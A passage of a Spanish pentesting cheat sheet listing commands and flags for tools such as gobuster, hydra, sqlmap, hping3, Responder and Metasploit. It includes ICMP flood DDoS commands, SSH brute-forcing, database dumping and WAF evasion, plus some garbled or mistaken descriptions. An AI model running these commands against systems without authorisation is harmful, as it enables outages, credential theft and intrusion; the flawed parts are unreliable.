- ¿Desea añadir palabras clave extra?
palabras separadas por ","
- ¿Desea añadir caracteres especiales? y/n
- ¿Desea añadir números aleatorios al final de las palabras? y/n
- ¿Activar Modo L337? y/n

- ¿Activar Modo L337? y/n

- ¿Hyperspeed Print? y/n (se refiere a mostrar o no el proceso por consola)

cupp

🌐​ DIRBUSTER

DirBuster es una aplicación multihilo desarrollada en Java que se utiliza para realizar ataques de fuerza bruta contra los nombres de directorios y archivos en servidores web o de aplicaciones. Su objetivo es encontrar páginas y aplicaciones ocultas que podrían existir en un servidor web que parece estar en su configuración predeterminada pero en realidad tiene contenido adicional.

 
Instalación:
sudo apt install dirbuster

Escaneo de directorios y archivos en la IP o URL. Por defecto utiliza la wordlist:
/usr/share/dirb/wordlists/common.txt


dirb http://10.10.100.100                  (Realiza petición sin cifrado a una dirección IP)
dirb https://10.10.100.100                (Realiza petición con cifrado a una dirección IP)
dirb http://web.com                             (Realiza petición sin cifrado a una dirección Web)
dirb https://web.com                           (Realiza petición sin cifrado a una dirección Web)

Las wordlist adicionales deben estar en formato .txt y tener los permisos 744 otorgados por Root:
sudo chmod 744 wordlist.txt

Para ejecutar una wordlist distinta de common.txt:
dirb http
s://web.com /usr/share/dirb/wordlists/wordlist.txt

WORDLISTS:
/usr/share/dirb/wordlists/common.txt
/usr/share/dirb/wordlists/big.txt
/usr/share/dirb/wordlists/small.txt
/usr/share/dirb/wordlists/indexes.txt
/usr/share/dirb/wordlists/spanish.txt
/usr/share/dirb/wordlists/catala.txt
/usr/share/dirb/wordlists/extensions_common.txt
/usr/share/dirb/wordlists/mutations_common.txt


PARÁMETROS (se introducen al final de la línea):
-a
[agent_string]               (Especifica tu propio agente USER_AGENT. El valor predeterminado es: "Mozilla/4.0 (compatible; MSIE 6.0;
                                                   Windows NT 5.1)")

-b                                      (No comprime ni fusiona secuencias de /../ o /./ en la URL proporcionada)
-c [cookie_string]               (Establece una cookie para la solicitud HTTP)
-E [certificate]                    (Usa el archivo de certificado cliente especificado)
-f                                      (Ajuste fino de detección de NOT_FOUND (404))
-H [header_string]            (Agrega un encabezado personalizado a la solicitud HTTP)
-i                                           (Usa búsqueda sin distinción entre mayúsculas y minúsculas)
-l                                       (Imprime el encabezado "Location" cuando se encuentra)
-N [nf_code]                     (Ignora las respuestas con este código HTTP)
-o [tracefile]                     (Guarda la salida en el disco)
-p [proxy:port]                  (Usa este proxy. El puerto predeterminado es 1080)
-P [proxy_username:proxy_password]              (Autenticación del proxy)
-r                                           (No buscar recursivamente)
-R                                      (Recursión interactiva. Se le preguntará en qué directorios desea escanear)
-S                                      (Modo silencioso. No muestra las palabras probadas)
-t                                       (No fuerza un final '/' en las URLs)
-u [username:password]    (Nombre de usuario y contraseña a utilizar)
-v                                       (Muestra también páginas no existentes)
-w                                      (No se detiene en los mensajes de ADVERTENCIA)
-x [extension_file]              (Amplía la búsqueda con las extensiones en este archivo)
-X [ext]                              (Amplía la búsqueda con estas extensiones)
-z [milisecs]                       (Amplía la búsqueda con estas extensiones)

NOTA: dirb puede durar desde unos minutos hasta varias horas 

gobust

🌐 GOBUSTER

Gobuster es una herramienta activa, escrita en Go que se utiliza para realizar escaneos de fuerza bruta en directorios y archivos web, así como en subdominios DNS y nombres de hosts virtuales. Está diseñada para ser rápida y eficiente, aprovechando la naturaleza concurrente del lenguaje Go para enviar solicitudes de manera paralela y acelerar los procesos.


WORDLISTS DE DOMIONIOS DE KALI:
/usr/share/dirb/wordlists/common.txt
/usr/share/dirb/wordlists/big.txt
/usr/share/dirb/wordlists/small.txt
/usr/share/dirb/wordlists/indexes.txt
/usr/share/dirb/wordlists/spanish.txt
/usr/share/dirb/wordlists/catala.txt
/usr/share/dirb/wordlists/extensions_common.txt
/usr/share/dirb/wordlists/mutations_common.txt

WORDLISTS DE DOMIONIOS DESCARGABLES:
🌐 Daniel Miessler SecList


Escanear el servidor de la IP dada usando la Wordlist dada:
gobuster dir -u 10.10.100.100 -w /usr/share/dirb/wordlists/common.txt

Escanear el servidor de la IP dada usando la Wordlist dada, guardando el output en un archivo:

gobuster dir -u 10.10.100.100 -w /usr/share/dirb/wordlists/common.txt > scan.txt
 
Si tira algún error de código de estado que haya que excluir, como por ejemplo el 301, se podrá excluir así:
gobuster dir -u 10.10.100.100 -w /usr/share/dirb/wordlists/common.txt -b 301

Usando modo VHOST:
gobuster vhost -u https://web.com -w /usr/share/dirb/wordlists/common.txt -t 20 | grep -v "403"

Escaneando mi web:
gobuster dir -u https://sf01web.wixsite.com/sf01/ -w /home/sf01ghost/Seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 403,404,429,301 -x php,txt,html,pdf,doc,gif,png,jpeg

Significado de los Códigos de Estado según indica el primer dígito:
1**                  (Respuesta informativas)
2**                  (Éxito)
3**                  (Redirección)
4**                  (Error del cliente)
5**                  (Error del servidor)

Algunos Códigos de Estado:
200                  (La solicitud fue exitosa y el recurso solicitado está en la respuesta)
201                  (Se creó un nuevo recurso como resultado de la solicitud)
204                  (La solicitud fue exitosa, pero no hay contenido para enviar en la respuesta)
301                  (El recurso solicitado ha sido movido permanentemente a otra URL)
304                  (El recurso no ha sido modificado desde la última solicitud, y por tanto no es necesaria ninguna acción)
400                  (La solicitud no pudo ser entendida o procesada por el servidor debido a una sintaxis inválida)
401                  (Se requiere autenticación para acceder al recurso solicitado)
403                  (El cliente no tiene permiso para acceder al recurso solicitado)
404                  (El recurso solicitado no se encuentra en el servidor)
409                  (La solicitud no pudo completarse debido a un conflicto con el estado actual del recurso)
410                  (El recurso solicitado ya no está disponible y no se espera que vuelva a estar)
500                  (Ocurrió un error inesperado en el servidor que impidió completar la solicitud

Comandos de MODO (se indica justo después del binario):
dir                           (Usa modo de enumeración de directorio/archivo)
dns                         (Usa modo de enumeración de subdominio DNS)
fuzz                        (Usa modo fuzzing)
help                        (Ayuda sobre cada comando)
s3                           (Usa modo de enumeración de aws bucket)
version                   (Muestra la versión actual)
vhost                      (Usa modo de enumeración VHOST. Modo agresivo que utiliza fuerza bruta)

PARÁMETROS para el modo DIR (directorio):
-u [url]                    (La URL base a la que se realizará el escaneo)
-w [wordlist]           (La ruta al archivo de palabras a usar para el escaneo)
-n                            (Excluye la visualización de códigos de estado HTTP en la salida)
-x [ext]                    (Busca archivos con las extensiones especificadas. php,txt,html,pdf,doc,png,gif,jpeg)
-t []                      (El número de hilos concurrentes para realizar el escaneo)
-o [tracefile]            (El archivo donde se guardarán los resultados)
--delay [secs]         (El tiempo de espera entre cada solicitud, valor en segundos)

PARÁMETROS para el modo DNS:
-d [url]                (El dominio a escanear)
-w [wordlist]       (La ruta al archivo de palabras a usar para el escaneo)
-i                         (Muestra las direcciones IP de los subdominios encontrados)
-r                         (Usa un servidor DNS personalizado)
-c                        (Muestra los registros CNAME de los subdominios)
--wildcard          (Continúa el escaneo incluso cuando se encuentre un dominio comodín)

PARÁMETROS para el modo VHOST:
-u [url]                   (La URL base a la que se realizará el escaneo)
-w [wordlist]          (La ruta al archivo de palabras a usar para el escaneo)
-c [cookies]            (Las cookies a usar para las solicitudes)
-r                           (Sigue las redirecciones)
-H                          (Especifica cabeceras HTTP adicionales)
-k                           (Omite la validación del certificado TLS)
-P [password]        (Contraseña para autenticación básica)
-U [username]       (Nombre de usuario para autenticación básica)

wfuzz

🐙 WFUZZ

Wfuzz es una herramienta activa de fuzzing diseñada para aplicaciones web, que permite buscar contenido oculto como archivos y directorios en un servidor web, encontrar vectores de ataque adicionales, y realizar pruebas de fuerza bruta en parámetros GET y POST para verificar diferentes tipos de inyecciones (SQL, XSS, LDAP, etc.), entre otras funcionalidades.

Instalación:
sudo apt install wfuzz

Ejemplo agresivo. Se indica con FUZZ en la ruta la parte de la URL en la que se quiere probar las entradas de la wordlist:
wfuzz -c -t 200 -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403,429https://site.com/FUZZ

Ejemplo silent. Se indica con FUZZ en la ruta la parte de la URL en la que se quiere probar las entradas de la wordlist:
wfuzz -c -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403,429 https://site.com/FUZZ

Otro ejemplo usando PROXY para enmascarar el ataque:
wfuzz -c -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -p 213.232.126.62:80:HTTP --sc 200 https://sf01web.wixsite.com/sf01/FUZZ

PARÁMETROS :
-c                                      (Mostrar resultados por cada solicitud)
-t []                                (Número de hilos - procesos simultáneos)
-w [wordlist]                     (Lista de palabras)
-H [host]                           (Header - encabezado. Por ejemplo "Cookie:id=1312321&user=FUZZ")
-v                                      (Verbose - información detallada)
-V                                     (Fuerza bruta en todos los parámetros (allvars y allpost). No se necesita la palabra clave FUZZ)
-b                                      (Especifica una cookie para las solicitudes. Se puede repetir la opción para varias cookie)
-Z                                      (Modo de escaneo. Los errores de conexión serán ignorados)
-D                                      (Depth - Nivel máximo de profundidad de enlace)
-o                                      (Guarda el output en la ruta/archivo especificado)
-L                                      (¿?)
-p [proxy]                          (El Proxy a utilizar)
-x                                      (Especifica un método HTTP para la solicitud, por ejemplo, HEAD o FUZZ)
-X                                      (Indica que el método HTTP se fuzzeará)
-z [ext]                              (Indicar extensiones tipo list,html,txt,php... SE usará FUZZ.FUZ2Z en la ruta)
-z [range,1-1000]              (Indicar rango de identificador. SE usará FUZZ en la ruta de forma ?product_id=FUZZ)
--basic/ntlm/digest       (En formato "usuario:contraseña" o "FUZZ:FUZZ" o "dominio\FUZ2Z:FUZZ")
--sc []                            (Mostrar códigos de estado indicados, por ejemplo 200)
--hc []                            (Ocultar códigos de estado indicados, por ejemplo 404)
--sl=[]                              (Show Line. Mostrar respuestas con el número de líneas de contenido especificadas)
--hl=[]                              (Hide Line. Ocultar respuestas con el número de líneas de contenido especificadas)
--sw []                           (Mostrar Palabras)
--hw []                           (Ocultar Palabras)

ffuf

🍥 FFUF

Ffuf es un fuzzer web activo escrito en Go que permite el descubrimiento de directorios, de hosts virtuales (sin registros DNS) y fuzzing de parámetros GET y POST. Este programa es útil para pentesters, hackers éticos y expertos en forense. También puede ser utilizado para pruebas de seguridad.

🌐 https://github.com/ffuf/ffuf
🌐 https://www.kali.org/tools/ffuf
 
Descarga:
git clone https://github.com/ffuf/ffuf

Instalación:
sudo apt install ffuf

Ejemplo: (importante escribir los parámetros en este orden, o no funcionarán)
ffuf -c -t 100 -u https://site.com/FUZZ -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

PARÁMETROS :
-u [url]                              (Especifica la URL objetivo a escanear)
-w [wordlist]                     (Ruta de la Wordlist)
-o [tracefile]                      (Especifica el archivo de salida para guardar los resultados del escaneo)
-t []                                (Establece el número de hilos concurrentes a utilizar durante el escaneo)
-x [ext]                              (Especifica las extensiones de archivo a agregar a cada URL fuzzada)
-c [000]                            (Especifica los códigos de respuesta HTTP esperados para considerar como respuestas válidas)
-h                                     (Mostrar Help)
-H                                     (Establece encabezados personalizados para incluir en la solicitud HTTP)
-ac                                    (Automáticamente ajusta el filtrado de solicitudes enviando un número de verificaciones previas antes de
                                                    comenzar el fuzzing y cuantifica elementos comunes de esas solicitudes para un filtrado adicional)

-b                                      (Permite pasar datos de cookies para realizar fuzzing detrás de un punto de autenticación)
-rate []                           (Número máximo de solicitudes que pueden enviarse por segundo para controlar la sobrecarga del destino)

hydra

🐲 HYDRA

Hydra es una herramienta de auditoría de inicio de sesión incluida en Kali Linux que se utiliza para realizar ataques de fuerza bruta contra diversos protocolos y servicios. Es capaz de trabajar con múltiples tareas en paralelo y soporta una amplia gama de protocolos, incluyendo SSH, HTTP, FTP, entre otros.

Intento de conexión por fuerza bruta, sabiendo el usuario, con la wordlist rockyou a una IP mediante SSH:
hydra -l [user-P /usr/share/wordlists/rockyou.txt [IP] ssh

Lo mismo que el anterior pero optimizando el proceso de fuerza bruta:
hydra -t 4 -l [
user-P /usr/share/wordlists/rockyou.txt ssh://[IP]
 
Intento de conexión por fuerza bruta, sabiendo el usuario, con la wordlist rockyou a localhost mediante FTP:
hydra -l [user] -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1 -t 15

PARÁMETROS :

-f                           (Termia)
-l [user]                 (Especifica un nombre de usuario para usar durante el ataque de fuerza bruta)
-L [userlist]            (Especifica una lista de nombres de usuario para usar durante el ataque)
-p [password]        (Especifica una contraseña para usar durante el ataque)
-P [wordlist]          (Especifica una lista de contraseñas para usar durante el ataque)
-s [port]                 (Especifica un puerto específico)
-t []                     (Especifica el número de hilos a utilizar durante el ataque. Se indican el número de intentos en paralelo)
-v                           (Sirve para ver detalles en la salida del comando)
-w [wordlist]          (Especifica una lista de palabras para usar durante el ataque)
 

john

🎩 JOHN THE RIPPER

John the Ripper (JtR) es una herramienta gratuita y muy popular para descifrar contraseñas en LOCAL, escrita principalmente en C. Es utilizada tanto por administradores de sistemas como por profesionales de pruebas de penetración para identificar y resolver problemas relacionados con políticas de contraseñas débiles. JtR funciona comparando las contraseñas proporcionadas con una tabla de colores interna que contiene hashes de contraseñas comunes, permitiendo así descubrir rápidamente si una contraseña está entre las más utilizadas.
 
JtR comprueba la fortaleza de claves cifradas mediante ataques de fuerza bruta, diccionario, híbridos o basados en reglas. Compatible con múltiples sistemas operativos, como Linux, macOS y Windows, es especialmente útil para descifrar hashes de contraseñas de diversos algoritmos y formatos.

Soporta una amplia gama de algoritmos, como
MD5, SHA-1, SHA-256, bcrypt, NTLM, y más. Además, cuenta con una variante llamada "Jumbo Patch", que amplía el soporte a formatos adicionales y funcionalidades avanzadas.

 
USOS COMUNES:
- Identificar el tipo de hash:

Antes de intentar descifrar un hash, es crucial identificar su tipo. Para esto, puedes usar herramientas como hashid o hash-identifier.
Crackear el hash:

Puedes usar John the Ripper para intentar recuperar la contraseña a partir de un archivo de hashes.
Optimizar ataques:

Utiliza diccionarios personalizados, reglas de transformación y configuraciones optimizadas para maximizar tus posibilidades.
 
----------------------------------------------------------------------------------------------------------------------------------------------------------
 
INSTALAR en sistema operativo basado en Linux:
sudo apt update && sudo apt install john

Mostrar AYUDA y OPCIONES DISPONIBLES:
john -h

CREAR un archivo de hash en .txt (ejemplo.txt) con la línea de HASH.
Ejemplos diferentes:
[usuario]:$1$abcdef$9F.mfxDsAe81UvoBQ3gKn. 
            (nombre de usuario, $1$ indica que es MD5 encriptado, y el propio HASH)
5f4dcc3b5aa765d61d8327deb882cf99                                (un HASH tal cual)

EJECUTAR John the Ripper (en modo STANDARD) sobre el archivo .txt creado (puede tardar un tiempo):
john ejemplo.txt

EJECUTAR John the Ripper (con una WORDLIST concreta) sobre el archivo .txt creado (puede tardar un tiempo):
john --wordlist=/usr/share/wordlists/rockyou.txt ejemplo.txt

EJECUTAR John the Ripper (en modo INCREMENTAL, que prueba todas las combinaciones posibles de caracteres)
sobre el archivo
.txt creado (puede tardar bastante tiempo):
john --incremental ejemplo.txt

EJECUTAR John the Ripper (en modo INCREMENTAL, definiendo el conjunto de caracteres o la longitud máxima)

sobre el archivo .txt creado (puede tardar bastante tiempo):
john --incremental=ASCII --max-lenght=8 ejemplo.txt

Una vez se haya terminado de procesar el archivo, se pueden VISIONAR los RESULTADOS con:
john --show ejemplo.txt

----------------------------------------------------------------------------------------------------------------------------------------------------------

PARÁMETROS:
--wordlist=[ruta]                    (especifica un diccionario para ataques de diccionario)
--rules                                        (aplica reglas de transformación al diccionario)
--incremental                          (realiza un ataque de fuerza bruta incremental)
--format=[formato]              (especifica el formato del hash)
--show                                       (muestra contraseñas crackeadas en el archivo)
--restore                                   (restaura una sesión previa que haya sido detenida)
--session=[nombre]             (especifica un nombre para la sesión)
--pot=[archivo]                      (cambia el archivo donde se guardan las contraseñas crackeadas)
--list=formats                        (lista los formatos de hash soportados)
--status                                   (muestra el progreso de la sesión actual)

----------------------------------------------------------------------------------------------------------------------------------------------------------

EJEMPLO SENCILLO:


​​1. Preparar un archivo de hashes: Imagina que tienes un archivo hashes.txt con los siguientes hashes MD5:
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03


3. Crackear los hashes con un diccionario (sabiendo que el HASH está en formato MD5):​
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes.txt

4. Ver las contraseñas extraidas de los HASHES:
john --show hashes.txt

⭕ HPING3

hping3 es una utilidad de línea de comandos para crear y enviar paquetes TCP/IP personalizados. Es una herramienta versátil que te permite realizar diversas tareas, como escaneo de red, fingerprinting, y pruebas de seguridad de la red. Con hping3, puedes simular diferentes tipos de tráfico de red, haciéndolo una herramienta valiosa para pruebas de red y solución de problemas. También puede usarse para realizar ataques DDoS.

Instalación:
sudo apt-get install hping3

Uso básico. Enviar paquetes ICMP y mostrar las respuestas:
hping3 [
IP]

Escanear rango de puertos 1 a 100 de un host:
hping3 -c 100 -p 1-100 [IP
]

PARÁMETROS :
-c                          (Especifica el número de paquetes a enviar)
-i                            (Define el intervalo entre paquetes enviados)
-n                            (Muestra la salida numérica)
-q                           (Modo tranquilo, minimiza la salida)
-v                           (Verbosidad, muestra más detalles)
-s                           (Envía paquetes tan rápido como sea posible sin mostrar respuestas)
--flood                  (Ordena enviar paquetes de manera continua hasta que se detenga manualmente)
--rand-source      (Genera direcciones IP aleatorias para cada paquete enviado, lo que puede ayudar a evitar ser detectado fácilmente)
-p [protocol]        (Especifica el protocolo a utilizar, en este caso, ICMP)

Realizar ataque DDoS de inundación ICMP (podría caer la conexión del equipo atacante):
sudo hping3 --flood --rand-source [IP] -p ICMP

Realizar ataque DDoS de inundación ICMP aún más agresivo (podría caer la conexión del equipo atacante):
sudo hping3 --flood -S 100 -s 64 -I eth0,eth1 -w 10 -i 0.01 --rand-source [IP] -p ICMP
 

hping3

👨‍💻 CEWL

Cewl es una herramienta útil en el campo del pentesting y la seguridad informática para generar listas de contraseñas personalizadas. Esta herramienta se destaca por su capacidad para raspar y compilar palabras clave de sitios web específicos, lo cual es especialmente útil para realizar ataques de diccionario personalizados.

 

Cewl es especialmente útil para 


SINTAXIS:
cewl [parámetros] [url]

 

EJEMPLO PRÁCTIVO:

cewl -d 2 -m 5 -e -v -w mywordlist.txt http://example.com

PARÁMETROS :

-d                           (Profundidad de escaneo. Define cuantos niveles de enlaces seguir desde la página principal)

-m                           (Longitud mínima de palabras incluidas en la lista)

-w                            (Archivo de salida donde se guardarán las palabras)

-e                            (Incluir correos electrónicos encontrados en la web)

-c                            (Incluir la URL de la página que contiene cada palabra)

-a                            (Proporciona una cadena de agente de usuario personalizada)

-v                            (Verbosidad, muestra más detalles durante la ejecución)
 

cewl

⚡ CRUNCH

Crunch es una herramienta ampliamente utilizada en pentesting y seguridad informática para generar listas de contraseñas mediante la creación de combinaciones y permutaciones de un conjunto especificado de caracteres. Esta herramienta es particularmente útil cuando se necesitan listas de contraseñas exhaustivas que incluyan todas las posibles combinaciones de ciertos caracteres con longitudes específicas.
 
Cewl es especialmente útil para 

SINTAXIS:
crunch [min_length] [max_length] [characters] [parámetros]
 
EJEMPLO PRÁCTIVO:
crunch 8 8 abcdefghijklmnñopqrstuvwxyz0123456789 -o mywordlist.txt

PARÁMETROS :
-o                           (Especifica el archivo de salida)
-t                            (Usa un patrón específico donde el símbolo @ representa una letra minúscula, , una letra mayúscula, % un número

                                      y ^ un caracter especial)
-z                             (Comprime la salida usando gzip, bzip2, lzma o 7z)
 

crunch

​​🛑 SQLMAP

SQLMap es una herramienta de código abierto ampliamente utilizada para automatizar la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Está preinstalada en distribuciones como Kali Linux y es muy popular entre los analistas de ciberseguridad y pentesters debido a su capacidad para realizar pruebas exhaustivas en sistemas vulnerables. SQLMap puede automatizar tareas complejas, como identificar vulnerabilidades, extraer bases de datos completas, manipular datos, y más.


CARACTERÍSTICAS CLAVE
1. Soporta múltiples técnicas de inyección SQL, incluyendo:
   - Boolean-based blind
   - Time-based blind
   - Error-based
   - Union query
   - Stacked queries
   - Out-of-band

2. Compatible con varios motores de bases de datos, como MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, entre otros.
3. Capaz de extraer información, descargar bases de datos y realizar ataques avanzados.
4. Flexibilidad en configuraciones para pruebas personalizadas.

Clonar el repositorio oficial desde GitHub:
git clone https://github.com/sqlmapproject/sqlmap.git

Navega al directorio del proyecto:
cd sqlmap

Ejecutar con Python para INSTALAR:
python3 sqlmap.py

EJEMPLO SIMPLE:
sqlmap -u "http://ejemplo.com/products.php?id=1" --dbs

EJEMPLO AVANZADO:
sqlmap -u "http://ejemplo.com/products.php?id=1" -D example_db -T users --dump

EJEMPLO con WIZARD (asistente):
sqlmap --wizard

PARÁMETROS:
-u [URL]                                   (Especifica la URL objetivo)
--data [data]                          (Envía datos personalizados en una solicitud POST)
--cookie [cookie]                  (Utiliza una cookie específica en la solicitud HTTP)
--dbs                                        (Enumera todas las bases de datos disponibles)
--tables                                   (Lista todas las tablas en una base de datos específica)
--columns                               (Lista todas las columnas de una tabla específica)
-D [database]                        (Especifica la base de datos objetivo)
-T [tabla]                                (Especifica la tabla objetivo)
-C [columna]                         (Especifica las columnas objetivo)
--dump                                   (Descarga los datos de una base de datos o tabla específica)
--risk [nivel]                           (Ajusta el nivel de riesgo (1-3) para las pruebas de inyección)
--level [nivel]                         (Configura el nivel de profundidad para las pruebas, 1-5)
--os-shell                                (Intenta obtener acceso a una shell del sistema operativo)
--batch                                    (Ejecuta SQLMap sin solicitar confirmación interactiva)
--tamper [script]                  (Usa un script para evadir firewalls o WAFs. Ejemplo: --tamper=space2comment)
--proxy [proxy]                      (Redirige el tráfico a través de un proxy)
--random-agent                   (Usa un User-Agent aleatorio para simular diferentes navegadores)
--wizard                                  (activa un asistente interactivo que te guía paso a paso para configurar tu ataque o prueba de inyección SQL)
 

SQLMAP
wireshark

🦈 WIRESHARK

Wireshark es un analizador de paquetes de red gratuito y de código abierto. Se utiliza para la solución de problemas de red, análisis, desarrollo de software y protocolos de comunicación, y educación. Originalmente llamado Ethereal, el proyecto fue renombrado a Wireshark en 2006 debido a problemas de copyright.

Instalación el Linux:

sudo apt install wireshark

MONITOREAR TRÁFICO DE RED CON WIRESHARK
En el siguiente ejemplo "dumpearemos" el tráfico TCP de la red local a un archivo (captura.cap), para posteriormente escanear el router con nmap. Este escaneo quedará registrado en el archivo indicado, que finalmente abriremos con Wireshark para analizar lo sucedido. Usaremos dos consolas simultáneamente.

CONSOLA 1

sudo tcpdum -i eth0 -v -w captura.cap

CONSOLA 2
sudo nmap -p22 192.168.1.1

CONSOLA 1
ctrl + c            (para cancelar el dumpeo)

CONSOLA 1
sudo wireshark captura.cap &>/dev/null & disown

FILTRADO EN WIRESHARK
tcp.port==22
 

wiresherk.png

COMANDOS DE FILTRADO WIRESHARK
 

filtroswiresherk.png

 🩺 TCP DUMP
 
TCPdump es capaz de examinar IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS, BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS y muchos otros tipos de paquetes. Se puede usar esta herramienta para rastrear problemas de red, detectar ataques o monitorizar actividades en la red.

Instalar tcpdump:
sudo apt-get install tcpdump

Listar Interfaces de Red:
tcpdump -D
1.eth0 [Up, Running, Connected]
2.
any (Pseudo-device that captures on all interfaces) [Up, Running]
3.
lo [Up, Running, Loopback]
4.
docker0 [Up, Disconnected]
5.
bluetooth-monitor (Bluetooth Linux Monitor) [Wireless]
6.
nflog (Linux netfilter log (NFLOG) interface) [none]
7.
nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
8.
dbus-system (D-Bus system bus) [none]
9.
dbus-session (D-Bus session bus) [none]


Escuchar TODA actividad por TODAS las Interfaces de red:
sudo tcpdump -i any

Escuchar TODA actividad por la Red Local:
sudo tcpdump -i eth0

Escuchar actividad TCP por la Red Local:
sudo tcpdump -i eth0 tcp

Escuchar TODA actividad UDP por la Red Local:
sudo tcpdump -i eth0 udp

Escuchar actividad ICMP (ping) por la Red Local:
sudo tcpdump -i eth0 icmp

Escuchar actividad ICMP (ping) por TODAS las Interfaces de Red:
sudo tcpdump -i any icmp

Escuchar actividad por el Puerto 80 (HTTP) por TODAS las Interfaces de Red:
sudo tcpdump -i any port 80

PARÁMETROS BÁSICOS:
-v                                    (Aumentar la verbosidad del output)
-vv                                  (Aumentar mucho la verbosidad del output)
-i [interfaz]                    (Indicar Interfaz de Red para escuchar)
port []                         (Indicar puerto para escuchar)
-w [archivo.pcap]         (Guardar output en archivo)
-r [archivo.pcap]           (Leer archivo guardado)
-nn                                 (Mostrar direcciones y puertos en formáto numérico)
 

tcpdump

 📢​ RESPONDER

Responder es una herramienta poderosa diseñada para capturar credenciales de usuario en redes vulnerables, específicamente mediante el envenenamiento de servicios LLMNR, NBT-NS y MDNS. Funciona imitando varios servicios y ofreciéndolos a la red. Cuando un sistema Windows intenta comunicarse con uno de estos servicios falsos o busca un nombre de compartición UNC inexistente en la LAN, Responder responde a la solicitud, captura el hash de la contraseña y lo registra. Esta herramienta puede ser particularmente efectiva para obtener credenciales claras de texto y realizar ataques estilo pass-the-hash, además de proporcionar shells remotas.

Archivo de configuración:

mousepad /usr/share/responder/Responder.conf


SINTAXIS BÁSICA:
responder -I [interfaz_de_red]
 
Iniciar escucha básica dirigiendo el tráfico a la interfaz de red eth0 (la propia del equipo):
responder -I eth0

Iniciar escucha avanzada:
responder -I eth0 -v -w -i 192.168.1.80

PARÁMETROS:
-I                                      (Interfaz de Red para la escucha)
-v                                     (Aumentar la verbosidad del output)
-w                                    (Habilitar el servicio WPAD - Web Proxy Auto Discovery Protocol)
-A                                    (Descubrir posibles sistemas objetivo de manera pasiva)
-i                                      (Especificar dirección IP a la que se deben redirigir las solicitudes)

responder
SUID

 🟥​ BUSCAR BINARIOS SUID (GTFOBINS)

Un binario con SUID (Set User ID) en Linux es un archivo ejecutable con un permiso especial (4000 en octal, visible como rwsr-xr-x en ls -l), que permite ejecutarlo con los privilegios del propietario del archivo, como root, en lugar de los del usuario que lo ejecuta. Esto es esencial para programas como /usr/bin/passwd o /usr/bin/sudo, que necesitan acceder a recursos protegidos (por ejemplo, /etc/shadow) para funcionar. Sin embargo, en el contexto de pentesting, los binarios SUID son objetivos críticos porque vulnerabilidades en ellos, como inyección de comandos, manipulación de variables de entorno (por ejemplo, PATH), o funciones inseguras en el código, pueden permitir a un usuario normal explotarlos para ejecutar código arbitrario con privilegios de root, logrando una escalada de privilegios. Por esta razón, comandos como find / -perm -4000 2>/dev/null son comunes en auditorías de seguridad para identificar binarios SUID, especialmente aquellos en ubicaciones inusuales o con configuraciones sospechosas, ya que un solo fallo en un binario SUID de root puede otorgar acceso completo al sistema, haciendo de su análisis una práctica clave para detectar vectores de ataque.

Buscar binarios con el bit SUID desde la
raíz, mostrando los binarios que se permite ejecutar con los privilegios del propietario (a menudo root):
find / -perm -4000 2>/dev/null

Buscar vulnerables de binarios en GTFOBins:
🌐 
https://gtfobins.github.io

También se puede ejecutar "sudo -l" para mostrar las entradas de /etc/sudoers aplicables al usuario actual, detallando qué comandos puede ejecutar como root sin contraseña:
sudo -l
User Mayuso may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/cat
    (root) /usr/bin/vim
    (ALL) /usr/sbin/service

 

metasploit

🚨 METASPLOIT

Metasploit es un framework utilizado para el desarrollo y ejecución de exploits contra un sistema remoto. Inicialmente creado por H.D. Moore en 2003, es ahora mantenido por Rapid7. El framework incluye una colección de herramientas que pueden utilizarse para probar vulnerabilidades de seguridad, enumerar redes, ejecutar exploits y realizar tareas de post-explotación. Entre sus herramientas y aplicaciones se encuentran:

Exploits:
Metasploit contiene un vasto repertorio de exploits para diversas vulnerabilidades en sistemas y aplicaciones.

Payloads:
Los payloads son el código que se ejecuta en el sistema víctima tras la explotación. Metasploit incluye payloads como Meterpreter, shell inverso, y más.

Auxiliary:
Módulos auxiliares que no son exploits pero son útiles para tareas como escaneo, fuzzing, y sniffing.

Post-Exploitation:
Herramientas para mantener el acceso y recopilar información tras la explotación inicial, como Meterpreter.

Nops:
Módulos para la creación de no-op sleds, usados en buffer overflows.

Encoders:
Utilizados para cifrar o modificar payloads, ayudando a evadir sistemas de detección.

▶️ INICIAR Metasploit:
msfconsole

🔎 BUSCAR Exploits por nombre, sistema o vulnerabilidad:
search [búsqueda]

🔎 EJEMPLO de búsqueda por CVE:
search CVE-2007-2447

🔎 EJEMPLO de búsqueda por nombre de vulnerabilidad:
search trans2open

🔎 EJEMPLO de búsqueda por nombre de sistema:
search smbd 3.0.20-Debian

☝️ SELECCIONAR Exploit:
use [exploit]

☝️ EJEMPLO de selección de Exploit:
use exploit/multi/samba/usermap_script
 
🔧 CONFIGURACIÓN de Exploit (activar/desactivar verbosidad):
set VERBOSE true/false

🔧 CONFIGURACIÓN de Exploit (establecer máquina remota):
set RHOST [IP]

🔧 CONFIGURACIÓN de Exploit (establecer puerto de ataque):
set RPORT [puerto]

🔧 CONFIGURACIÓN de Exploit (establecer máquina local) SOLO EN ALGUNOS CASOS:
set LHOST [IP]

🔧 CONFIGURACIÓN de Exploit (establecer puerto de escucha) SOLO EN ALGUNOS CASOS:
set LPORT [puerto]

🔧 CONFIGURACIÓN de Exploit (establecer payload) SOLO EN ALGUNOS CASOS:
set PAYLOAD [payload]

🔧 CONFIGURACIÓN de Exploit (establecer usuario víctima) SOLO EN ALGUNOS CASOS:
set USERNAME [usuario]

🔧 CONFIGURACIÓN de Exploit (establecer contraseña de usuario víctima) SOLO EN ALGUNOS CASOS:
set PASSWORD [contraseña]

🔧 CONFIGURACIÓN de Exploit (establecer objetivo específico) SOLO EN ALGUNOS CASOS:
set TARGET [objetivo]

📋 VERIFICAR la configuración del Exploit:
show options

